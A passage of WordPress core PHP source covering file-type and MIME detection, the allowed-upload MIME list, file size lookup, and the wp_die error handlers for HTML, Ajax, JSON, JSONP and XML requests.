			$ext  = false;
		}
	}

	/**
	 * Filters the "real" file type of the given file.
	 *
	 * @since 3.0.0
	 * @since 5.1.0 The $real_mime parameter was added.
	 *
	 * @param array         $wp_check_filetype_and_ext {
	 *     Values for the extension, mime type, and corrected filename.
	 *
	 *     @type string|false $ext             File extension, or false if the file doesn't match a mime type.
	 *     @type string|false $type            File mime type, or false if the file doesn't match a mime type.
	 *     @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined.
	 * }
	 * @param string        $file                      Full path to the file.
	 * @param string        $filename                  The name of the file (may differ from $file due to
	 *                                                 $file being in a tmp directory).
	 * @param string[]|null $mimes                     Array of mime types keyed by their file extension regex, or null if
	 *                                                 none were provided.
	 * @param string|false  $real_mime                 The actual mime type or false if the type cannot be determined.
	 */
	return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes, $real_mime );
}

/**
 * Returns the real mime type of an image file.
 *
 * This depends on exif_imagetype() or getimagesize() to determine real mime types.
 *
 * @since 4.7.1
 * @since 5.8.0 Added support for WebP images.
 * @since 6.5.0 Added support for AVIF images.
 *
 * @param string $file Full path to the file.
 * @return string|false The actual mime type or false if the type cannot be determined.
 */
function wp_get_image_mime( $file ) {
	/*
	 * Use exif_imagetype() to check the mimetype if available or fall back to
	 * getimagesize() if exif isn't available. If either function throws an Exception
	 * we assume the file could not be validated.
	 */
	try {
		if ( is_callable( 'exif_imagetype' ) ) {
			$imagetype = exif_imagetype( $file );
			$mime      = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false;
		} elseif ( function_exists( 'getimagesize' ) ) {
			// Don't silence errors when in debug mode, unless running unit tests.
			if ( defined( 'WP_DEBUG' ) && WP_DEBUG
				&& ! defined( 'WP_RUN_CORE_TESTS' )
			) {
				// Not using wp_getimagesize() here to avoid an infinite loop.
				$imagesize = getimagesize( $file );
			} else {
				$imagesize = @getimagesize( $file );
			}

			$mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false;
		} else {
			$mime = false;
		}

		if ( false !== $mime ) {
			return $mime;
		}

		$magic = file_get_contents( $file, false, null, 0, 12 );

		if ( false === $magic ) {
			return false;
		}

		/*
		 * Add WebP fallback detection when image library doesn't support WebP.
		 * Note: detection values come from LibWebP, see
		 * https://github.com/webmproject/libwebp/blob/master/imageio/image_dec.c#L30
		 */
		$magic = bin2hex( $magic );
		if (
			// RIFF.
			( str_starts_with( $magic, '52494646' ) ) &&
			// WEBP.
			( 16 === strpos( $magic, '57454250' ) )
		) {
			$mime = 'image/webp';
		}

		/**
		 * Add AVIF fallback detection when image library doesn't support AVIF.
		 *
		 * Detection based on section 4.3.1 File-type box definition of the ISO/IEC 14496-12
		 * specification and the AV1-AVIF spec, see https://aomediacodec.github.io/av1-avif/v1.1.0.html#brands.
		 */

		// Divide the header string into 4 byte groups.
		$magic = str_split( $magic, 8 );

		if (
			isset( $magic[1] ) &&
			isset( $magic[2] ) &&
			'ftyp' === hex2bin( $magic[1] ) &&
			( 'avif' === hex2bin( $magic[2] ) || 'avis' === hex2bin( $magic[2] ) )
		) {
			$mime = 'image/avif';
		}
	} catch ( Exception $e ) {
		$mime = false;
	}

	return $mime;
}

/**
 * Retrieves the list of mime types and file extensions.
 *
 * @since 3.5.0
 * @since 4.2.0 Support was added for GIMP (.xcf) files.
 * @since 4.9.2 Support was added for Flac (.flac) files.
 * @since 4.9.6 Support was added for AAC (.aac) files.
 *
 * @return string[] Array of mime types keyed by the file extension regex corresponding to those types.
 */
function wp_get_mime_types() {
	/**
	 * Filters the list of mime types and file extensions.
	 *
	 * This filter should be used to add, not remove, mime types. To remove
	 * mime types, use the {@see 'upload_mimes'} filter.
	 *
	 * @since 3.5.0
	 *
	 * @param string[] $wp_get_mime_types Mime types keyed by the file extension regex
	 *                                    corresponding to those types.
	 */
	return apply_filters(
		'mime_types',
		array(
			// Image formats.
			'jpg|jpeg|jpe'                 => 'image/jpeg',
			'gif'                          => 'image/gif',
			'png'                          => 'image/png',
			'bmp'                          => 'image/bmp',
			'tiff|tif'                     => 'image/tiff',
			'webp'                         => 'image/webp',
			'avif'                         => 'image/avif',
			'ico'                          => 'image/x-icon',
			'heic'                         => 'image/heic',
			// Video formats.
			'asf|asx'                      => 'video/x-ms-asf',
			'wmv'                          => 'video/x-ms-wmv',
			'wmx'                          => 'video/x-ms-wmx',
			'wm'                           => 'video/x-ms-wm',
			'avi'                          => 'video/avi',
			'divx'                         => 'video/divx',
			'flv'                          => 'video/x-flv',
			'mov|qt'                       => 'video/quicktime',
			'mpeg|mpg|mpe'                 => 'video/mpeg',
			'mp4|m4v'                      => 'video/mp4',
			'ogv'                          => 'video/ogg',
			'webm'                         => 'video/webm',
			'mkv'                          => 'video/x-matroska',
			'3gp|3gpp'                     => 'video/3gpp',  // Can also be audio.
			'3g2|3gp2'                     => 'video/3gpp2', // Can also be audio.
			// Text formats.
			'txt|asc|c|cc|h|srt'           => 'text/plain',
			'csv'                          => 'text/csv',
			'tsv'                          => 'text/tab-separated-values',
			'ics'                          => 'text/calendar',
			'rtx'                          => 'text/richtext',
			'css'                          => 'text/css',
			'htm|html'                     => 'text/html',
			'vtt'                          => 'text/vtt',
			'dfxp'                         => 'application/ttaf+xml',
			// Audio formats.
			'mp3|m4a|m4b'                  => 'audio/mpeg',
			'aac'                          => 'audio/aac',
			'ra|ram'                       => 'audio/x-realaudio',
			'wav'                          => 'audio/wav',
			'ogg|oga'                      => 'audio/ogg',
			'flac'                         => 'audio/flac',
			'mid|midi'                     => 'audio/midi',
			'wma'                          => 'audio/x-ms-wma',
			'wax'                          => 'audio/x-ms-wax',
			'mka'                          => 'audio/x-matroska',
			// Misc application formats.
			'rtf'                          => 'application/rtf',
			'js'                           => 'application/javascript',
			'pdf'                          => 'application/pdf',
			'swf'                          => 'application/x-shockwave-flash',
			'class'                        => 'application/java',
			'tar'                          => 'application/x-tar',
			'zip'                          => 'application/zip',
			'gz|gzip'                      => 'application/x-gzip',
			'rar'                          => 'application/rar',
			'7z'                           => 'application/x-7z-compressed',
			'exe'                          => 'application/x-msdownload',
			'psd'                          => 'application/octet-stream',
			'xcf'                          => 'application/octet-stream',
			// MS Office formats.
			'doc'                          => 'application/msword',
			'pot|pps|ppt'                  => 'application/vnd.ms-powerpoint',
			'wri'                          => 'application/vnd.ms-write',
			'xla|xls|xlt|xlw'              => 'application/vnd.ms-excel',
			'mdb'                          => 'application/vnd.ms-access',
			'mpp'                          => 'application/vnd.ms-project',
			'docx'                         => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
			'docm'                         => 'application/vnd.ms-word.document.macroEnabled.12',
			'dotx'                         => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
			'dotm'                         => 'application/vnd.ms-word.template.macroEnabled.12',
			'xlsx'                         => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
			'xlsm'                         => 'application/vnd.ms-excel.sheet.macroEnabled.12',
			'xlsb'                         => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
			'xltx'                         => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
			'xltm'                         => 'application/vnd.ms-excel.template.macroEnabled.12',
			'xlam'                         => 'application/vnd.ms-excel.addin.macroEnabled.12',
			'pptx'                         => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
			'pptm'                         => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
			'ppsx'                         => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
			'ppsm'                         => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
			'potx'                         => 'application/vnd.openxmlformats-officedocument.presentationml.template',
			'potm'                         => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
			'ppam'                         => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
			'sldx'                         => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
			'sldm'                         => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
			'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
			'oxps'                         => 'application/oxps',
			'xps'                          => 'application/vnd.ms-xpsdocument',
			// OpenOffice formats.
			'odt'                          => 'application/vnd.oasis.opendocument.text',
			'odp'                          => 'application/vnd.oasis.opendocument.presentation',
			'ods'                          => 'application/vnd.oasis.opendocument.spreadsheet',
			'odg'                          => 'application/vnd.oasis.opendocument.graphics',
			'odc'                          => 'application/vnd.oasis.opendocument.chart',
			'odb'                          => 'application/vnd.oasis.opendocument.database',
			'odf'                          => 'application/vnd.oasis.opendocument.formula',
			// WordPerfect formats.
			'wp|wpd'                       => 'application/wordperfect',
			// iWork formats.
			'key'                          => 'application/vnd.apple.keynote',
			'numbers'                      => 'application/vnd.apple.numbers',
			'pages'                        => 'application/vnd.apple.pages',
		)
	);
}

/**
 * Retrieves the list of common file extensions and their types.
 *
 * @since 4.6.0
 *
 * @return array[] Multi-dimensional array of file extensions types keyed by the type of file.
 */
function wp_get_ext_types() {

	/**
	 * Filters file type based on the extension name.
	 *
	 * @since 2.5.0
	 *
	 * @see wp_ext2type()
	 *
	 * @param array[] $ext2type Multi-dimensional array of file extensions types keyed by the type of file.
	 */
	return apply_filters(
		'ext2type',
		array(
			'image'       => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico', 'heic', 'webp', 'avif' ),
			'audio'       => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
			'video'       => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ),
			'document'    => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ),
			'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ),
			'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
			'text'        => array( 'asc', 'csv', 'tsv', 'txt' ),
			'archive'     => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ),
			'code'        => array( 'css', 'htm', 'html', 'php', 'js' ),
		)
	);
}

/**
 * Wrapper for PHP filesize with filters and casting the result as an integer.
 *
 * @since 6.0.0
 *
 * @link https://www.php.net/manual/en/function.filesize.php
 *
 * @param string $path Path to the file.
 * @return int The size of the file in bytes, or 0 in the event of an error.
 */
function wp_filesize( $path ) {
	/**
	 * Filters the result of wp_filesize before the PHP function is run.
	 *
	 * @since 6.0.0
	 *
	 * @param null|int $size The unfiltered value. Returning an int from the callback bypasses the filesize call.
	 * @param string   $path Path to the file.
	 */
	$size = apply_filters( 'pre_wp_filesize', null, $path );

	if ( is_int( $size ) ) {
		return $size;
	}

	$size = file_exists( $path ) ? (int) filesize( $path ) : 0;

	/**
	 * Filters the size of the file.
	 *
	 * @since 6.0.0
	 *
	 * @param int    $size The result of PHP filesize on the file.
	 * @param string $path Path to the file.
	 */
	return (int) apply_filters( 'wp_filesize', $size, $path );
}

/**
 * Retrieves the list of allowed mime types and file extensions.
 *
 * @since 2.8.6
 *
 * @param int|WP_User $user Optional. User to check. Defaults to current user.
 * @return string[] Array of mime types keyed by the file extension regex corresponding
 *                  to those types.
 */
function get_allowed_mime_types( $user = null ) {
	$t = wp_get_mime_types();

	unset( $t['swf'], $t['exe'] );
	if ( function_exists( 'current_user_can' ) ) {
		$unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );
	}

	if ( empty( $unfiltered ) ) {
		unset( $t['htm|html'], $t['js'] );
	}

	/**
	 * Filters the list of allowed mime types and file extensions.
	 *
	 * @since 2.0.0
	 *
	 * @param array            $t    Mime types keyed by the file extension regex corresponding to those types.
	 * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).
	 */
	return apply_filters( 'upload_mimes', $t, $user );
}

/**
 * Displays "Are You Sure" message to confirm the action being taken.
 *
 * If the action has the nonce explain message, then it will be displayed
 * along with the "Are you sure?" message.
 *
 * @since 2.0.4
 *
 * @param string $action The nonce action.
 */
function wp_nonce_ays( $action ) {
	// Default title and response code.
	$title         = __( 'Something went wrong.' );
	$response_code = 403;

	if ( 'log-out' === $action ) {
		$title = sprintf(
			/* translators: %s: Site title. */
			__( 'You are attempting to log out of %s' ),
			get_bloginfo( 'name' )
		);

		$redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';

		$html  = $title;
		$html .= '</p><p>';
		$html .= sprintf(
			/* translators: %s: Logout URL. */
			__( 'Do you really want to <a href="%s">log out</a>?' ),
			wp_logout_url( $redirect_to )
		);
	} else {
		$html = __( 'The link you followed has expired.' );

		if ( wp_get_referer() ) {
			$wp_http_referer = remove_query_arg( 'updated', wp_get_referer() );
			$wp_http_referer = wp_validate_redirect( sanitize_url( $wp_http_referer ) );

			$html .= '</p><p>';
			$html .= sprintf(
				'<a href="%s">%s</a>',
				esc_url( $wp_http_referer ),
				__( 'Please try again.' )
			);
		}
	}

	wp_die( $html, $title, $response_code );
}

/**
 * Kills WordPress execution and displays HTML page with an error message.
 *
 * This function complements the `die()` PHP function. The difference is that
 * HTML will be displayed to the user. It is recommended to use this function
 * only when the execution should not continue any further. It is not recommended
 * to call this function very often, and try to handle as many errors as possible
 * silently or more gracefully.
 *
 * As a shorthand, the desired HTTP response code may be passed as an integer to
 * the `$title` parameter (the default title would apply) or the `$args` parameter.
 *
 * @since 2.0.4
 * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept
 *              an integer to be used as the response code.
 * @since 5.1.0 The `$link_url`, `$link_text`, and `$exit` arguments were added.
 * @since 5.3.0 The `$charset` argument was added.
 * @since 5.5.0 The `$text_direction` argument has a priority over get_language_attributes()
 *              in the default handler.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|WP_Error  $message Optional. Error message. If this is a WP_Error object,
 *                                  and not an Ajax or XML-RPC request, the error's messages are used.
 *                                  Default empty string.
 * @param string|int       $title   Optional. Error title. If `$message` is a `WP_Error` object,
 *                                  error data with the key 'title' may be used to specify the title.
 *                                  If `$title` is an integer, then it is treated as the response code.
 *                                  Default empty string.
 * @param string|array|int $args {
 *     Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
 *     as the response code. Default empty array.
 *
 *     @type int    $response       The HTTP response code. Default 200 for Ajax requests, 500 otherwise.
 *     @type string $link_url       A URL to include a link to. Only works in combination with $link_text.
 *                                  Default empty string.
 *     @type string $link_text      A label for the link to include. Only works in combination with $link_url.
 *                                  Default empty string.
 *     @type bool   $back_link      Whether to include a link to go back. Default false.
 *     @type string $text_direction The text direction. This is only useful internally, when WordPress is still
 *                                  loading and the site's locale is not set up yet. Accepts 'rtl' and 'ltr'.
 *                                  Default is the value of is_rtl().
 *     @type string $charset        Character set of the HTML output. Default 'utf-8'.
 *     @type string $code           Error code to use. Default is 'wp_die', or the main error code if $message
 *                                  is a WP_Error.
 *     @type bool   $exit           Whether to exit the process after completion. Default true.
 * }
 */
function wp_die( $message = '', $title = '', $args = array() ) {
	global $wp_query;

	if ( is_int( $args ) ) {
		$args = array( 'response' => $args );
	} elseif ( is_int( $title ) ) {
		$args  = array( 'response' => $title );
		$title = '';
	}

	if ( wp_doing_ajax() ) {
		/**
		 * Filters the callback for killing WordPress execution for Ajax requests.
		 *
		 * @since 3.4.0
		 *
		 * @param callable $callback Callback function name.
		 */
		$callback = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
	} elseif ( wp_is_json_request() ) {
		/**
		 * Filters the callback for killing WordPress execution for JSON requests.
		 *
		 * @since 5.1.0
		 *
		 * @param callable $callback Callback function name.
		 */
		$callback = apply_filters( 'wp_die_json_handler', '_json_wp_die_handler' );
	} elseif ( wp_is_serving_rest_request() && wp_is_jsonp_request() ) {
		/**
		 * Filters the callback for killing WordPress execution for JSONP REST requests.
		 *
		 * @since 5.2.0
		 *
		 * @param callable $callback Callback function name.
		 */
		$callback = apply_filters( 'wp_die_jsonp_handler', '_jsonp_wp_die_handler' );
	} elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
		/**
		 * Filters the callback for killing WordPress execution for XML-RPC requests.
		 *
		 * @since 3.4.0
		 *
		 * @param callable $callback Callback function name.
		 */
		$callback = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
	} elseif ( wp_is_xml_request()
		|| isset( $wp_query ) &&
			( function_exists( 'is_feed' ) && is_feed()
			|| function_exists( 'is_comment_feed' ) && is_comment_feed()
			|| function_exists( 'is_trackback' ) && is_trackback() ) ) {
		/**
		 * Filters the callback for killing WordPress execution for XML requests.
		 *
		 * @since 5.2.0
		 *
		 * @param callable $callback Callback function name.
		 */
		$callback = apply_filters( 'wp_die_xml_handler', '_xml_wp_die_handler' );
	} else {
		/**
		 * Filters the callback for killing WordPress execution for all non-Ajax, non-JSON, non-XML requests.
		 *
		 * @since 3.0.0
		 *
		 * @param callable $callback Callback function name.
		 */
		$callback = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
	}

	call_user_func( $callback, $message, $title, $args );
}

/**
 * Kills WordPress execution and displays HTML page with an error message.
 *
 * This is the default handler for wp_die(). If you want a custom one,
 * you can override this using the {@see 'wp_die_handler'} filter in wp_die().
 *
 * @since 3.0.0
 * @access private
 *
 * @param string|WP_Error $message Error message or WP_Error object.
 * @param string          $title   Optional. Error title. Default empty string.
 * @param string|array    $args    Optional. Arguments to control behavior. Default empty array.
 */
function _default_wp_die_handler( $message, $title = '', $args = array() ) {
	list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );

	if ( is_string( $message ) ) {
		if ( ! empty( $parsed_args['additional_errors'] ) ) {
			$message = array_merge(
				array( $message ),
				wp_list_pluck( $parsed_args['additional_errors'], 'message' )
			);
			$message = "<ul>\n\t\t<li>" . implode( "</li>\n\t\t<li>", $message ) . "</li>\n\t</ul>";
		}

		$message = sprintf(
			'<div class="wp-die-message">%s</div>',
			$message
		);
	}

	$have_gettext = function_exists( '__' );

	if ( ! empty( $parsed_args['link_url'] ) && ! empty( $parsed_args['link_text'] ) ) {
		$link_url = $parsed_args['link_url'];
		if ( function_exists( 'esc_url' ) ) {
			$link_url = esc_url( $link_url );
		}
		$link_text = $parsed_args['link_text'];
		$message  .= "\n<p><a href='{$link_url}'>{$link_text}</a></p>";
	}

	if ( isset( $parsed_args['back_link'] ) && $parsed_args['back_link'] ) {
		$back_text = $have_gettext ? __( '&laquo; Back' ) : '&laquo; Back';
		$message  .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
	}

	if ( ! did_action( 'admin_head' ) ) :
		if ( ! headers_sent() ) {
			header( "Content-Type: text/html; charset={$parsed_args['charset']}" );
			status_header( $parsed_args['response'] );
			nocache_headers();
		}

		$text_direction = $parsed_args['text_direction'];
		$dir_attr       = "dir='$text_direction'";

		/*
		 * If `text_direction` was not explicitly passed,
		 * use get_language_attributes() if available.
		 */
		if ( empty( $args['text_direction'] )
			&& function_exists( 'language_attributes' ) && function_exists( 'is_rtl' )
		) {
			$dir_attr = get_language_attributes();
		}
		?>
<!DOCTYPE html>
<html <?php echo $dir_attr; ?>>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $parsed_args['charset']; ?>" />
	<meta name="viewport" content="width=device-width">
		<?php
		if ( function_exists( 'wp_robots' ) && function_exists( 'wp_robots_no_robots' ) && function_exists( 'add_filter' ) ) {
			add_filter( 'wp_robots', 'wp_robots_no_robots' );
			wp_robots();
		}
		?>
	<title><?php echo $title; ?></title>
	<style type="text/css">
		html {
			background: #f1f1f1;
		}
		body {
			background: #fff;
			border: 1px solid #ccd0d4;
			color: #444;
			font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
			margin: 2em auto;
			padding: 1em 2em;
			max-width: 700px;
			-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);
			box-shadow: 0 1px 1px rgba(0, 0, 0, .04);
		}
		h1 {
			border-bottom: 1px solid #dadada;
			clear: both;
			color: #666;
			font-size: 24px;
			margin: 30px 0 0 0;
			padding: 0;
			padding-bottom: 7px;
		}
		#error-page {
			margin-top: 50px;
		}
		#error-page p,
		#error-page .wp-die-message {
			font-size: 14px;
			line-height: 1.5;
			margin: 25px 0 20px;
		}
		#error-page code {
			font-family: Consolas, Monaco, monospace;
		}
		ul li {
			margin-bottom: 10px;
			font-size: 14px ;
		}
		a {
			color: #2271b1;
		}
		a:hover,
		a:active {
			color: #135e96;
		}
		a:focus {
			color: #043959;
			box-shadow: 0 0 0 2px #2271b1;
			outline: 2px solid transparent;
		}
		.button {
			background: #f3f5f6;
			border: 1px solid #016087;
			color: #016087;
			display: inline-block;
			text-decoration: none;
			font-size: 13px;
			line-height: 2;
			height: 28px;
			margin: 0;
			padding: 0 10px 1px;
			cursor: pointer;
			-webkit-border-radius: 3px;
			-webkit-appearance: none;
			border-radius: 3px;
			white-space: nowrap;
			-webkit-box-sizing: border-box;
			-moz-box-sizing:    border-box;
			box-sizing:         border-box;

			vertical-align: top;
		}

		.button.button-large {
			line-height: 2.30769231;
			min-height: 32px;
			padding: 0 12px;
		}

		.button:hover,
		.button:focus {
			background: #f1f1f1;
		}

		.button:focus {
			background: #f3f5f6;
			border-color: #007cba;
			-webkit-box-shadow: 0 0 0 1px #007cba;
			box-shadow: 0 0 0 1px #007cba;
			color: #016087;
			outline: 2px solid transparent;
			outline-offset: 0;
		}

		.button:active {
			background: #f3f5f6;
			border-color: #7e8993;
			-webkit-box-shadow: none;
			box-shadow: none;
		}

		<?php
		if ( 'rtl' === $text_direction ) {
			echo 'body { font-family: Tahoma, Arial; }';
		}
		?>
	</style>
</head>
<body id="error-page">
<?php endif; // ! did_action( 'admin_head' ) ?>
	<?php echo $message; ?>
</body>
</html>
	<?php
	if ( $parsed_args['exit'] ) {
		die();
	}
}

/**
 * Kills WordPress execution and displays Ajax response with an error message.
 *
 * This is the handler for wp_die() when processing Ajax requests.
 *
 * @since 3.4.0
 * @access private
 *
 * @param string       $message Error message.
 * @param string       $title   Optional. Error title (unused). Default empty string.
 * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
 */
function _ajax_wp_die_handler( $message, $title = '', $args = array() ) {
	// Set default 'response' to 200 for Ajax requests.
	$args = wp_parse_args(
		$args,
		array( 'response' => 200 )
	);

	list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );

	if ( ! headers_sent() ) {
		// This is intentional. For backward-compatibility, support passing null here.
		if ( null !== $args['response'] ) {
			status_header( $parsed_args['response'] );
		}
		nocache_headers();
	}

	if ( is_scalar( $message ) ) {
		$message = (string) $message;
	} else {
		$message = '0';
	}

	if ( $parsed_args['exit'] ) {
		die( $message );
	}

	echo $message;
}

/**
 * Kills WordPress execution and displays JSON response with an error message.
 *
 * This is the handler for wp_die() when processing JSON requests.
 *
 * @since 5.1.0
 * @access private
 *
 * @param string       $message Error message.
 * @param string       $title   Optional. Error title. Default empty string.
 * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
 */
function _json_wp_die_handler( $message, $title = '', $args = array() ) {
	list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );

	$data = array(
		'code'              => $parsed_args['code'],
		'message'           => $message,
		'data'              => array(
			'status' => $parsed_args['response'],
		),
		'additional_errors' => $parsed_args['additional_errors'],
	);

	if ( isset( $parsed_args['error_data'] ) ) {
		$data['data']['error'] = $parsed_args['error_data'];
	}

	if ( ! headers_sent() ) {
		header( "Content-Type: application/json; charset={$parsed_args['charset']}" );
		if ( null !== $parsed_args['response'] ) {
			status_header( $parsed_args['response'] );
		}
		nocache_headers();
	}

	echo wp_json_encode( $data );
	if ( $parsed_args['exit'] ) {
		die();
	}
}

/**
 * Kills WordPress execution and displays JSONP response with an error message.
 *
 * This is the handler for wp_die() when processing JSONP requests.
 *
 * @since 5.2.0
 * @access private
 *
 * @param string       $message Error message.
 * @param string       $title   Optional. Error title. Default empty string.
 * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
 */
function _jsonp_wp_die_handler( $message, $title = '', $args = array() ) {
	list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );

	$data = array(
		'code'              => $parsed_args['code'],
		'message'           => $message,
		'data'              => array(
			'status' => $parsed_args['response'],
		),
		'additional_errors' => $parsed_args['additional_errors'],
	);

	if ( isset( $parsed_args['error_data'] ) ) {
		$data['data']['error'] = $parsed_args['error_data'];
	}

	if ( ! headers_sent() ) {
		header( "Content-Type: application/javascript; charset={$parsed_args['charset']}" );
		header( 'X-Content-Type-Options: nosniff' );
		header( 'X-Robots-Tag: noindex' );
		if ( null !== $parsed_args['response'] ) {
			status_header( $parsed_args['response'] );
		}
		nocache_headers();
	}

	$result         = wp_json_encode( $data );
	$jsonp_callback = $_GET['_jsonp'];
	echo '/**/' . $jsonp_callback . '(' . $result . ')';
	if ( $parsed_args['exit'] ) {
		die();
	}
}

/**
 * Kills WordPress execution and displays XML response with an error message.
 *
 * This is the handler for wp_die() when processing XMLRPC requests.
 *
 * @since 3.2.0
 * @access private
 *
 * @global wp_xmlrpc_server $wp_xmlrpc_server
 *
 * @param string       $message Error message.
 * @param string       $title   Optional. Error title. Default empty string.
 * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
 */
function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
	global $wp_xmlrpc_server;

	list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );

	if ( ! headers_sent() ) {
		nocache_headers();
	}

	if ( $wp_xmlrpc_server ) {
		$error = new IXR_Error( $parsed_args['response'], $message );
		$wp_xmlrpc_server->output( $error->getXml() );
	}
	if ( $parsed_args['exit'] ) {
		die();
	}
}

/**
 * Kills WordPress execution and displays XML response with an error message.
 *
 * This is the handler for wp_die() when processing XML requests.
 *
 * @since 5.2.0
 * @access private
 *
 * @param string       $message Error message.
 * @param string       $title   Optional. Error title. Default empty string.
 * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
 */
function _xml_wp_die_handler( $message, $title = '', $args = array() ) {
	list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );

	$message = htmlspecialchars( $message );
	$title   = htmlspecialchars( $title );

	$xml = <<<EOD
<error>
    <code>{$parsed_args['code']}</code>
    <title><![CDATA[{$title}]]></title>
    <message><![CDATA[{$message}]]></message>
    <data>
        <status>{$parsed_args['response']}</status>
    </data>
</error>

EOD;

	if ( ! headers_sent() ) {
		header( "Content-Type: text/xml; charset={$parsed_args['charset']}" );
		if ( null !== $parsed_args['response'] ) {
			status_header( $parsed_args['response'] );
		}
		nocache_headers();
	}

	echo $xml;
	if ( $parsed_args['exit'] ) {
		die();
	}
}

/**
 * Kills WordPress execution and displays an error message.
 *
 * This is the handler for wp_die() when processing APP requests.
 *
 * @since 3.4.0
 * @since 5.1.0 Added the $title and $args parameters.
 * @access private
 *
 * @param string       $message Optional. Response to print. Default empty string.
 * @param string       $title   Optional. Error title (unused). Default empty string.
 * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
 */
function _scalar_wp_die_handler( $message = '', $title = '', $args = array() ) {
	list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );

	if ( $parsed_args['exit'] ) {
		if ( is_scalar( $message ) ) {
			die( (string) $message );
		}
		die();
	}

	if ( is_scalar( $message ) ) {
		echo (string) $message;
	}
}

/**
 * Processes arguments passed to wp_die() consistently for its handlers.
 *
 * @since 5.1.0
 * @access private
 *
 * @param string|WP_Error $message Error message or WP_Error object.
 * @param string          $title   Optional. Error title. Default empty string.
 * @param string|array    $args    Optional. Arguments to control behavior. Default empty array.
 * @return array {
 *     Processed arguments.
 *
 *     @type string $0 Error message.
 *     @type string $1 Error title.
 *     @type array  $2 Arguments to control behavior.
 * }
 */
function _wp_die_process_input( $message, $title = '', $args = array() ) {
	$defaults = array(
		'response'          => 0,
		'code'              => '',
		'exit'              => true,
		'back_link'         => false,
		'link_url'          => '',
		'link_text'         => '',
		'text_direction'    => '',
		'charset'           => 'utf-8',
		'additional_errors' => array(),
	);

	$args = wp_parse_args( $args, $defaults );

	if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
		if ( ! empty( $message->errors ) ) {
			$errors = array();
			foreach ( (array) $message->errors as $error_code => $error_messages ) {
				foreach ( (array) $error_messages as $error_message ) {
					$errors[] = array(
						'code'    => $error_code,
						'message' => $error_message,
						'data'    => $message->get_error_data( $error_code ),
					);
				}
			}

			$message = $errors[0]['message'];
			if ( empty( $args['code'] ) ) {
				$args['code'] = $errors[0]['code'];
			}
			if ( empty( $args['response'] ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['status'] ) ) {
				$args['response'] = $errors[0]['data']['status'];
			}
			if ( empty( $title ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['title'] ) ) {
				$title = $errors[0]['data']['title'];
			}
			if ( WP_DEBUG_DISPLAY && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['error'] ) ) {
				$args['error_data'] = $errors[0]['data']['error'];
			}

			unset( $errors[0] );
			$args['additional_errors'] = array_values( $errors );
		} else {
			$message = '';
		}
	}

	$have_gettext = function_exists( '__' );

